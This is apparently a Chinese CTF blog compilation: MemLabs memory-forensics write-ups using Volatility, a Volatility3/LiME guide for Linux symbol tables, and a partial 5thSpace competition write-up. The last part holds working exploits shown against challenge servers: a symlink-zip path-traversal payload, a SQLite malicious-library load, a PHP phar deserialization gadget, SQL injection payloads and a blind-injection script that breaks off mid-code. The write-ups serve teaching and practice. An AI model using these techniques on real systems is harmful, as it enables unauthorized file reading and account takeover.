The Second Diary of Forensic

MemLabs Lab_2 | A New World

下载链接:MemLabs Lab_2

Challenge description

One of the clients of our company, lost the access to his system due to an unknown error. He is supposedly a very popular "environmental" activist. As a part of the investigation, he told us that his go to applications are browsers, his password managers etc. We hope that you can dig into this memory dump and find his important stuff and give it back to us.

Note : This challenge is composed of 3 flags.

我们公司的一位客户由于未知错误而失去了对其系统的访问权限。据推测,他是一位非常受欢迎的“环保”主义者。作为调查的一部分,他告诉我们他的应用程序是浏览器、他的密码管理器等。我们希望你能深入这个内存转储并找到他的重要资料并将其还给我们。

注意:这个挑战由3个flag组成

Progress

Flag 1

老规矩:

image

根据题目描述,查看进程,重点查看浏览器和密码管理相关进程:

image

此外,上面还提到了环境变量,envars查看一下:

image

啊!这串熟悉的base64开头

image

flag{w3lc0m3T0$T4g3_!_Of_L4B_2}

Flag 2

回到浏览器,提取浏览器历史记录,volatility是不自带这个插件的

https://github.com/superponible/volatility-plugins

(255条消息) volatility2各类外部插件使用简介_Blus.King的博客-CSDN博客_volatility插件

注意: --plugins后写清插件位置,比如这样:

┌──(root㉿SanDieg0)-[/mnt/d/volatility-master]
└─# python2 vol.py  --plugins=./volatility/plugins/ -f "/mnt/f/Memlabs/lab2/Lab2.raw" --profile=Win7SP1x64 chromehistory

image

发现了一个下载链接,

image

image

上个实验第三部分flag:flag{w3ll_3rd_stage_was_easy}

image

image

flag{oK_So_Now_St4g3_3_is_DoNE!!}

Flag 3

还有一个密码管理器进程KeePass.exe没有用到

KeePass会存储密码在以.kdbx为后缀的数据库中,并用主密码(master password)进行管理

image

image

filescan并进行筛选:

image

image

Hidden.kdbx转储出来后,找密码,文件里面有一张叫Password.png的图片

Password

密码右下角:P4SSw0rd_123

有了密码后,在KeePass里面打开这个数据库:

image

右键直接复制出来密码:flag{w0w_th1s_1s_Th3_SeC0nDST4g3!!}

(咦?这个才是第二个flag吗?没事,我懒得改了:)

MemLabs Lab 3 | The Evil's Den

下载链接:MemLabs Lab 3

Challenge Descryption

A malicious script encrypted a very secret piece of information I had on my system. Can you recover the information for me please?

Note-1 : This challenge is composed of only 1 flag. The flag split into 2 parts.

Note-2 : You'll need the first half of the flag to get the second.

You will need this additional tool to solve the challenge,

sudo apt install steghide

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

恶意脚本加密了我系统上的一条非常机密的信息。你能为我恢复信息吗?

注意-1:本次挑战只有一个flag,但被分为两个部分。

注意-2:你需要得到第一部分的flag才能得到第二部分flag。

Progress

The first part of the flag

老样子:

image

题目描述说有恶意脚本,看一下cmd的记录:

image

确实有一个叫恶意脚本的py脚本🤔还有一个vip.txt

image

evilscript.py.py:

import sys
import string

def xor(s):

    a = ''.join(chr(ord(i)^3) for i in s)
    return a

def encoder(x):

    return x.encode("base64")

if __name__ == "__main__":

    f = open("C:\\Users\\hello\\Desktop\\vip.txt", "w")

    arr = sys.argv[1]

    arr = encoder(xor(arr))

    f.write(arr)

    f.close()

vip.txt:

image

呃。。。

看一下脚本过程比较简单,先用一个字符将vip.txt的内容进行异或,然后base64加密一遍,解密也很简单,把过程逆过来就好:

s = 'am1gd2V4M20wXGs3b2U='
d = s.decode('base64')
a = ''.join(chr(ord(i)^3) for i in d)

print a

执行结果:inctf{0n3_h4lf,这是第一部分

The second part of the flag

按照题目描述,还会用到steghide,扫一下图片文件:

image

.jpg都是些临时文件,.jpeg这个可能性最大,而且名字就很可疑🤔导出来看看:

suspision1image上面说,有了第一部分的flag才能获取到第二部分,那提示很明显了,密码应该就是第一部分flag

image

_1s_n0t_3n0ugh}

综上,flag为:inctf{0n3_h4lf_1s_n0t_3n0ugh}

The First Diary of Forensic

用取证软件去做题也能叫取证?懂不懂volatility的含金量啊?
自己到现在还没认真用过Vol,打算刷刷题然后系统学习一下。
(毕竟不能总是指望着用取证大师之类的吧🤔)

MemLabs Lab_0 | Never Too Late Mister

下载链接:Lab0

Challenge Description

My friend John is an "environmental" activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?

我的朋友约翰是一位“环保”活动家和人道主义者。他讨厌复仇者联盟中灭霸的观点:无限战争。他编程很烂。他在编写任何程序时使用了太多变量。有一天,约翰给了我一个内存转储,并让我找出他在转储时在做什么。你能帮我弄清楚吗?

Progress

整体下来就是一个常规取证思路,先imageinfo看一下:

image

Vol3给出的建议是Win7SP1X86_23418,查看一下进程信息:

image

看到有运行过cmd.exe,查看一下历史命令行信息:

image

有一个可疑文件,用cmd调用python.exe,这个地方可以用MARKDOWN_HASH113422dfd86463d669e94c07cf61e0dcMARKDOWNHASH插件,来查看执行的命令行历史记录(扫描CONSOLE_INFORMATION信息)

image

得到一串字符串335d366f5d6031767631707f

image

看上去是一段乱码:3]6o]`1vv1p.

如果不解密字符串的话,下一步也不知道干什么。

此时结合上面题目描述"environmental" activist环保主义者提示,应该是要查看环境变量

envars查看一下发现太多了。。。果然是个很差的技术员,在编写程序时使用了太多环境变量

不过后面有提到Thanos,尝试在环境变量里面搜一下

image

发现真的有,环境变量指向xor and password

先提取password

image

image

后面这串查不到啊艹,看了WP人家是查到了。。。。。。

image

这是第一部分:flag{you_are_good_but

剩下一部分,来处理提示中的xor,目标字符串应该是前面hex解密出的乱码

不过不清楚异或字符是啥,只能爆破了

a = "335d366f5d6031767631707f".decode("hex")
for i in range(0,255):
    b = ""
    for j in a:
        b = b + chr(ord(j) ^ i)
    print b

image

flag{you_are_good_but1_4m_b3tt3r}

MemLabs Lab_1 | Beginner's Luck

下载链接:Lab1

Challenge description

My sister's computer crashed. We were very fortunate to recover this memory dump. Your job is get all her important files from the system. From what we remember, we suddenly saw a black window pop up with some thing being executed. When the crash happened, she was trying to draw something. Thats all we remember from the time of crash.

Note : This challenge is composed of 3 flags.

我姐姐的电脑坏了。我们非常幸运地恢复了这个内存转储。你的工作是从系统中获取她所有的重要文件。根据我们的记忆,我们突然看到一个黑色的窗口弹出,上面有一些正在执行的东西。崩溃发生时,她正试图画一些东西。这就是电脑崩溃时我们所记得的一切。

注意 :此挑战由 3 个flag组成。

Progress

Flag 1

image

既然有提到突然看到黑色窗口弹出,在执行一些东西,(看描述像是cmd命令行)那么我们用pslist查看一下:

image

确实是有cmd.exe这个进程,consoles查看命令行输出结果:

image

很熟悉的base64,

image

flag{th1s_1s_th3_1st_st4g3!!}

Flag 2

When the crash happened, she was trying to draw something.

在画画,看一下进程列表:

image

看名称,这个进程和画画有关,PID是2424

image

image

修改文件名后缀为data,导入GIMP

调整一下偏移量和宽高,

image

image

翻转一下就是flag

image

flag{Good_Boy_good_girl}

Flag 3

后来才知道,这个地方看的是WinRAR.exe进程,

image

看一下WinRAR.exe进程历史

image

看到了一个RAR压缩包:Important.rar

image

根据地址提取出来:

image

检测是rar文件类型。修改文件名解压发现需要密码:

image

hashdump提取

┌──(root㉿SanDieg0)-[/mnt/d/volatility_2.6_win64_standalone]
└─# ./volatility.exe -f "F:\Memlabs\lab1\Lab1.raw" --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SmartNet:1001:aad3b435b51404eeaad3b435b51404ee:4943abb39473a6f32c11301f4987e7e0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f0fc3d257814e08fea06e63c5762ebd5:::
Alissa Simpson:1003:aad3b435b51404eeaad3b435b51404ee:f4ff64c8baac57d22f22edc681055ba6:::

hashdump提取有两个HASH,第一个是使用LANMAN算法,这种散列值非常不安全,在Vista以来的Windows系统已经不再采用LANMAN HASH。因此这个hash前会提供一个aad开头的虚拟值。

第二个HASH是我们常说的NTLM HASH,也好不到哪去。

这个地方要解密NTLM,看用户名我盲猜是最后一个f4ff64c8baac57d22f22edc681055ba6

image

拿解密到的字符串怎么试都不对,结果发现,不用解密,换成大写。。。(无语住了)

flag3

flag{w3ll_3rd_stage_was_easy}

提问的智慧:纳新向

如何快速解决自己遇到的问题,并提升自己

image

对于一些简单的问题,要充分利用各种搜索引擎,如果上来就问师哥师姐怎么到这一步,按哪个键,怎么学,那自己的真正能力不会得到多少提高。而是应该明白自己哪里不懂,找对问题,针对这个方向去问,提问时你最好能将你对这个问题的思考,为解决 问题所做过的尝试,搜索过的关键字一并告诉我们,我们能为你解决疑惑,还可能给你搜索 技巧上的建议,强化你的搜索技能,从而更快更好的提升自己:)

推荐使用谷歌搜索,国内的话百度勉强够用。

很多资料不知道从哪里学很正常,沉下心来都可以解决的,退缩的人很多,希望大家能坚持下去.

以下是一些例子

例子1

image

这个问题百度第一页就有解决方案

image

例子2

image

image

只需要明确自己的配置问题,及时你不明确,搜索报错也能搜索出结果,百度第一个结果就是

image

例子3

紧接上一个问题

image

继续问重复的问题

image

例子4

image

image

例子5

image

image

image

优秀的提问例子

image

说明自己的解决方案后再提问

附赠一张经典老图

image

Sekai CTF | Linux Newly version of Kernel Memory Forensics

好久没更新了,水一篇Forensic

      \                             SORRY                         /
         \                                                     /
          \                     This page does                /
           ]                    not exist yet.               [    ,'|
           ]                                                 [   /  |
           ]___                                           ___[ ,'   |
           ]  ]\                                         /[  [ |:   |
           ]  ] \                                       / [  [ |:   |
           ]  ]  ]                                     [  [  [ |:   |
           ]  ]  ]__                                 __[  [  [ |:   |
           ]  ]  ] ]\                ___            /[ [  [  [ |:   |
           ]  ]  ] ]               (((#)))           [ [  [  [ :===='
           ]  ]  ]_]                .nHn.              [_[  [  [
           ]  ]  ]                  HHHHH.            [  [  [
           ]  ] /                   `HH("N             \ [  [
           ]__]/                     HHH  "             \[__[
           ]                         NNN                    [
           ]                         N/"                    [
           ]                         N H                    [
          /                          N                       \
         /                           q,                       \
        /                                                      \

The difference between Volatility2 and Volatility3

Volatility2 下的 profile 制作过程就不写了,主要学习下提一句,非常建议用CentOS 7来制作相应文件,不然在其他 Linux 系统(例如Ubuntu),解决软件依赖性得修好长时间(哭~~)

Volatility2:https://www.jianshu.com/p/7288ac54cd5c

Profile

Profile是特定操作系统版本以及硬件体系结构(x86、x64、ARM)中VTypes、共用体、对象类型的集合。

Vtypes 是 Volatility 框架中数据结构定义以及解析的语言,大部分操作系统底层都是使用 C 语言编写的,其中大量使用数据结构来组织和管理相关的变量以及属性。

因为 Volatility 是用 Python 语言编写的,所以我们需要一种方式在Python 源文件中表示 C 语言的数据结构。

VTypes 正是用于实现这一点的。

除了这些组件以外,Profile 还包括如下:

  • 元数据:操作系统的名称(例如:“windows”,“mac”,“linux”),内核版本,以及编译号。
  • 系统调用信息:索引以及系统调用的名称。
  • 常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
  • 系统映射:关键全局变量和函数的地址(仅限 Linux 和 Mac)

但在 Volatility3 中,不再使用配置文件Profile,取而代之,vol3自身带有一个扩展的符号表库Symbols,并且对于大多数Windows内存镜像,可以基于内存映像本身来生成新的符号表。它允许符号表包含基于该操作系统位置(符号位置)的特定偏移量。这意味着通过官方调试信息提供的那些结构的已知偏移量,可以更轻松、更快速地识别操作系统中的结构。

Symbol Tables

用于分析相关操作系统数据的内核符号表压缩包,其所有文件以JSON数据格式存储,可以是纯json文件.json,也可以是.json.gz或者.json.xz,Volatility3在使用它们时会自动解压。此外,Vol3会在用户主目录下的.cache/volatility3目录下会缓存他们的压缩内容,当前还无法更改这个缓存目录。

Vol3的symbol tables分为两类,上面的Windows Symbol tables作为一类,由于对Mac和Linux采用相同的识别机制,统分为另外一类。

Windows

对于WIndows系统,符号表字符串由所需PDB文件的GUIDAge组成,Volatility会搜索windows子目录下配置的所有文件,并与包含pdb名称,GUID/Age(或者其他压缩形式)的所有元数据进行匹配、利用。如果找不到的话,会从 Microsoft 官方的符号表服务器下载相关的PDB文件,并自动转化成适当的JSON格式,并存储在合适的位置。

可以从适当的 PDB 文件手动构建 Windows 符号表,而执行此操作的主要工具已经内置在 Volatility3了:pdbconv.py。 该文件支持从Volatility3的根路径运行,命令如下:

┌──(kali㉿kali)-[~]
└─$ python3 ./volatility3/framework/symbols/windows/pdbconv.py

Volatility官方也已经给出了Windows符号表:Volatility3官方:Windows符号表下载

Linux/Mac

Volatility3官方:Mac符号表下载

对于 Mac,它只有特定数量的内核,但我们不会经常更新包,因为它有点耗时。

Volitility3官方:Linux符号表(不全)

dwarf2json 可以从 DWARF文件生成 Linux 和 Mac 符号表。而当前,利用内核中包含的调试符号表,是大多数Volatility3插件恢复信息的唯一合适方法。

值得注意的是,只有 -- elf的方案在 vol3 中可行,其他使用如 Sysmap 解析出来的 json 都是不可行的.。(在vol2中生成profile会用到 Sysmap )

./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-4.4.0-137-generic > output.json

此外,为什么上面说Linux符号表信息不全呢?因为Linux内核易于编译且唯一,无法区分它们,因此官方提供的Linux符号表并不详尽,因此在面对Linux内存取证时,要自行生成符号表;并且,标准内核是被剥离了调试信息的,若想获取带有调试信息的,则需从文件中单独获取。

LiME:Linux Memory Extractor

LiME是Linux可加载内核模块(LKM)Linux的内存提取器,它允许从Linux或者基于Linux的设备(如:Android)获取临时性内存(RAM)。LiME成为第一个允许在Android设备上捕获完整内存的工具,并且最大限度地减少了在获取过程中用户和内核空间进程之间的交互,因此LiME能生成比其他工具更可靠的内存捕获。

基于LiME工具的Android手机动态内存提取

CentOS 5.5编译LiME

编译LiME

[root@localhost CentOS]# tar -zxvf LiME.tar.gz
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/LiME/src/
[root@localhost src]# make
make -C /lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/LiME/src" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  Building modules, stage 2.
  MODPOST
  LD [M]  /home/yunwei/Desktop/malware/LiME/src/lime.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
strip --strip-unneeded lime.ko
mv lime.ko lime-2.6.18-194.el5.ko
[root@localhost src]# ll
total 1176
-rw-r--r-- 1 root root   2557 Sep 28  2017 disk.c
-rw-r--r-- 1 root root 168240 May 20 10:44 disk.o
-rw-r--r-- 1 root root  41984 May 20 11:46 lime-2.6.18-194.el5.ko
-rw-r--r-- 1 root root   1920 Sep 28  2017 lime.h
-rw-r--r-- 1 root root   1151 May 20 10:44 lime.mod.c
-rw-r--r-- 1 root root  81632 May 20 10:44 lime.mod.o
-rw-r--r-- 1 root root 505173 May 20 10:44 lime.o
-rw-r--r-- 1 root root   6614 Sep 28  2017 main.c
-rw-r--r-- 1 root root 175408 May 20 10:44 main.o
-rw-r--r-- 1 root root   1661 Sep 28  2017 Makefile
-rw-r--r-- 1 root root   1722 Sep 28  2017 Makefile.sample
-rw-r--r-- 1 root root      0 May 20 10:44 Module.markers
-rw-r--r-- 1 root root      0 May 20 10:44 Module.symvers
-rw-r--r-- 1 root root   3889 Sep 28  2017 tcp.c
-rw-r--r-- 1 root root 166152 May 20 10:44 tcp.o

抓取内存

/home/centos/Desktop/forensic/centos5.lime为自定义路径

## 进入内核模式抓取内存
[root@localhost src]# insmod lime-uname -r.ko path=/home/yunwei/Desktop/malware/centos5.lime format=lime
## 再次抓取内存前要先运行以下命令退出内核模式
[root@localhost src]# rmmod lime

制作元数据

dwarf2dump使用

安装调试文件导出工具dwarfdump

  • 下载与编译libdwarf
## 解压Libdwarf
[root@localhost src]# git clone https://github.com/tomhughes/libdwarf.git
[root@localhost src]# tar -zxvf libdwarf.tar.gz

## 光盘安装依赖包
[root@localhost src]# cd /media/CentOS_5.5_Final/CentOS/
[root@localhost src]# rpm -ivh /media/CentOS_5.5_Final/CentOS/elfutils-libelf-0.137-3.el5.x86_64.rpm 
[root@localhost libdwarf]# rpm -ivh elfutils-libelf-devel-static-0.137-3.el5.x86_64.rpm elfutils-libelf-devel-0.137-3.el5.x86_64.rpm elfutils-libelf-0.137-3.el5.x86_64.rpm

## 编译安装 libdwarf
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/libdwarf
[root@localhost CentOS]# ./configure
[root@localhost libdwarf]# make

### 若没有报错,则表示安装正确。
[root@localhost libdwarf]# cd dwarfdump/
[root@localhost dwarfdump]# make install
cp dwarfdump /usr/local/bin/dwarfdump
cp ./dwarfdump.conf /usr/local/lib/dwarfdump.conf
cp ./dwarfdump.1 /usr/local/share/man/man1/dwarfdump.1
[root@localhost dwarfdump]# dwarfdump -h
### 输入dwarfdump -h若没有报错,则表示安装正确。
  • 生成内存镜像
[root@localhost malware]# tar -zxvf volatility.tar.gz
[root@localhost malware]# cd volatility/tools/linux/
## 错误
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CC [M]  /home/yunwei/Desktop/malware/volatility/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:214: error: redefinition of ‘struct module_sect_attr’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:221: error: redefinition of ‘struct module_sect_attrs’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:375:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:391:5: warning: "DEBUG" is not defined
make[2]: *** [/home/yunwei/Desktop/malware/volatility/tools/linux/module.o] Error 1
make[1]: *** [_module_/home/yunwei/Desktop/malware/volatility/tools/linux] Error 2
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
make: *** [dwarf] Error 2

### 注释掉 198,7 ~ 221,7,编译问题就解决了
/*
#if LINUX_VERSION_CODE == KERNEL_VERSION(2,6,18)
....
struct module_sections module_sect_attrs;

#endif
*/

## 注释代码之后,编译输出状态

[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CC [M]  /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:354:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:370:5: warning: "DEBUG" is not defined
  Building modules, stage 2.
  MODPOST
  CC      /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.mod.o
  LD [M]  /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" clean
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CLEAN   /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/.tmp_versions
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'

Construct the new kernel ISF JSON file

https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html

先运行Volatility3 的banners插件,以确定必要的内核版本。

[root@172 volatility3]$ python3 vol.py -f /home/ad/lmg/memdump/dump.mem banners.Banners
Volatility 3 Framework 2.4.0
Progress:  100.00       PDB scanning finished            
Offset  Banner

0x42400200  Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)
0x437c3718  Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)9)

注意:banners.Banners插件只能识别 Linux 镜像的banner信息,不识别 Windows。

然后我们需要符号表(symbol tables)。根据上面写的dwarf2json生成 json 的命令,是需要我们提供 /usr/lib/debug/boot目录下的vmlinux文件,但是系统往往不会自带该文件,然后发现在/boot目录下有一个相同名字的 vmlinux 文件,但是并不可用。

方案一:apt 安装 vmlinux

⚠:本方案需在指定容器中提供至少 20G 容器空间

大多数情况下,我们会采用apt添加源之后安装的方法。

  1. 导入GPG key(此处直接使用网络提供的),在许多 vmlinux 的帖文中, 很少提及该步骤,或者对不同版本的GPG Key 导入没有明确说明。
  • Ubuntu 16.04 & higher:

    jsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C8CAB6595FDFF622
  • Older distributions:

    sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
  1. 添加源

    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    
    apt-get update
    apt-get upgrade
  2. 安装指定的debugging system ,可以把 uname -r 换成指定的版本(比如banners提到的5.15.0-43-generic,但是需要系统是可以解析的

    apt-get install linux-image-$(uname -r)-dbgsym

方案二:直接获取dbgsym文件安装在指定系统

⚠:本方案需在指定容器中提供至少 5G 内存空间

获取源文件网址:https://launchpad.net/ubuntu/+source/linux ,按需选择下载。

[root@172 home]$ git clone https://github.com/volatilityfoundation/dwarf2json
[root@172 home]$ cd dwarf2json
[root@172 dwarf2json]$ go build
[root@172 dwarf2json]$ wget https://launchpad.net/ubuntu/+archive/primary/+files/linux-image-unsigned-5.15.0-48-generic-dbgsym_5.15.0-48.54_amd64.ddeb
[root@172 dwarf2json]$ cd ../
[root@172 home]$ docker run -it --rm -v $PWD:/volatility ubuntu:20.04 /bin/bash
[root@docker]$ cd volatility
[root@docker /volatility]$ dpkg -i linux-image-unsigned-5.15.0-48-generic-dbgsym_5.15.0-48.54_amd64.ddeb
[root@docker /volatility]$ cd ../dwarf2json
[root@docker /dwarf2json]$ ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.15.0-48-generic > linux-image-5.15.0-48-generic.json 
[root@172 /dwarf2json]$ $ cp linux-image-4.15.0-184-generic.json ./volatility3/volatility3/framework/symbols/linux

vol3的符号表编译完成,然后再解析内存镜像就好了

5thSpace Partly Writeup | QUALS

MISC

sakana_reveage

看源码:

            #no symlink for it 
            for zip_info in zipfile.ZipFile(zip_file).infolist():
                if zip_info.external_attr >> 16:
                    print("Hacker!!!")
                    return

所以我们可以选择发送输入。如果存在符号链接,则会打印“hacker”并返回,因此我们无法将如下所示的 zip 文件上传到此函数:

ln -s /flag symlink_to_flag.link 
zip --symlink flag.zip symlink_to_flag.link

binascii.Error被抛出时,我们并没有返回,而是继续运行该函数。这导致尝试提取/tmp/sakanas.zip

def sakana_upload():
    sakana_file_name = input("Name for your sakana:")

    encoded_sakana_content = input("Base64-encoded sakana:")
    try:
        decode_content = base64.b64decode(encoded_sakana_content)
    except binascii.Error:
        print("Error base64!")
        return

    if decode_content == b"":
        print("Empty file!")
        return

    if not decode_content.startswith(b"sakana"):
        print("Only sakana files are allowed!")
        return

    with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
        sakana_file_handle.write(decode_content)

在这里我们看到文件名容易受到目录遍历攻击。这意味着我们也可以写入../../../tmp/sakanas.zip. 所以也许我们可以通过将文件上传到这个路径来读取标志,然后binascii.ErrorUpload sakanas of Zip函数中触发 a 时将其解压缩。

此外文件内容base64解码开头必须是sakana,所以创建一个内容为sakana的sakana文件

cat flag.zip >> sakana 
base64 sakana
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

然后进行上传,再触发解压:

┌──(kali㉿kali)-[~]
└─$  nc 47.93.30.67 57427

   _____      /\/|        /\/|              _____ _    ___       ______ 
  / ____|    |/\/ |      |/\/              / ____| |  / _ \     |  ____|
 | (___   __ _  | | ____ _   _ __   __ _  | (___ | |_| | | |_ __| |__   
  \___ \ / _` | | |/ / _` | | '_ \ / _` |  \___ \| __| | | | '__|  __|  
  ____) | (_| | |   < (_| | | | | | (_| |  ____) | |_| |_| | |  | |____ 
 |_____/ \__,_| |_|\_\__,_| |_| |_|\__,_| |_____/ \__|\___/|_|  |______|

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 4
Base64-encoded zip of sakanas:a
Error base64!
[/tmp/sakanas.zip]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
warning [/tmp/sakanas.zip.zip]:  6 extra bytes at beginning or within zipfile
  (attempting to process anyway)
Zip successfully uploaded and extracted

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 2
0 -> symlink_to_flag.link

Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

image-20220919180324-caoedru

5_Misc_m@sTeR_0f

这道题进入之后是一个

image

sqlite 查询的页面,经过测试后发现过滤了许多的内容,由于这里放在了 misc,考虑是一些cve,不过也没有找到。

后来想到了利用写文件写入恶意so文件,然后利用

这里首先生成一个恶意的 so 文件

b5a5357b23addfbbb9bb72dee037481

利用sqlite的writefile将恶意so文件写入,这里因为 . 被过滤文件名需要套一个hex,文件内容我们也用 hex 写入即可

image

然后load一下即可执行我们写入的命令,load没过大小写,估计是非预期吧

image

5_简单的Base

666c61677b57656c636f6d655f686572657d

hex解码即可

image

web

5_web_BaliYun

dirsearch扫描后 www.zip 源码泄露 发现是phar反序列化

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }

此处存在任意文件读取漏洞,打眼一看看到 file_exit,phar没跑了,构造 phar 文件

<?php
class upload{
    public $filename = "/flag";
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new upload();
$phar -> setMetadata($object);
$phar -> stopBuffering();

web1

5_easylogin

登录界面 发现存在宽字节注入漏洞

web2

尝试进行注入,双写绕过union select,发现数据库里没东西

直接利用union任意修改密码的漏洞 尝试修改密码登录

username=admin%df'uniunionon(selselectect(1),2,0x3936653739323138393635656237326339326135343964643561333330313132)#&password=111111

web22

5_web_Eeeeasy_SQL

http://39.107.76.202:64040/api/ 发现存在目录遍历漏洞,看到 flag.php,直接访问回显

image

尝试登录,发现可以通过注释引号的方式闭合

image

但是闭合后是一个跳转,并不是什么拥有特征的界面,这里过滤了非常多的注入相关的内容,selectsubstrleftmid*-+|,空格 等等,但是大于小于号没有过滤,猜测这里可能还是存在盲注。但是没有发现怎样进行盲注,sleep 等函数也被禁用了,不能延时也没有回显。

后续在测试的时候发现,这里如果能够有返回为false的话就会回显 msg,经过测试后发现,我们可以构造条件语句进行盲注,空格可以用 #%0a 绕过

or(case#%0awhen#%0ausername>0x60#%0athen#%0a1#%0aelse#%0apow(~0,17)#%0aend)#&

image

image

这样的话我们就开可以编写脚本进行盲注,这里要注意加上 allow_redirects=False

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
  "password":"or(case when password>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

这样获取到的 ADMIM@666 和 AAAA@XXXXZZZ 的那个用户名和密码并登录不上去。

这里尝试了一下 hex,因为之前做过类似的, hex 会从后向前进行读取,应该算是个非预期了233

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
